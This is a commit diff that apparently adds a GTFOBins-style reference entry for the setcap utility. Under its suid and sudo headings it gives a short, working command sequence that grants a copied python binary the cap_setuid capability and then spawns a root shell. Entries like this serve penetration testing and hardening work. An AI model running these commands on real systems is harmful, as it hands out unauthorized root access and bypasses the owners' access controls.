Create setcap.md

Adding setcap suid and sudo exploits

_gtfobins/setcap.md

@@ -0,0 +1,15 @@
+---
+description: sets and removes capabilities on files
+functions:
+  suid:
+    - description: Can be used to give and capabilities to other files. cap_setuid for example gives an executable permissions to switch uid.
+      code: |
+        cp $(which python) .
+        setcap cap_setuid+ep python
+        ./python -c 'import os; os.setuid(0); os.system("/bin/sh")'
+  sudo:
+    - code: |
+        cp $(which python) .
+        sudo setcap cap_setuid+ep python
+        ./python -c 'import os; os.setuid(0); os.system("/bin/sh")'
+---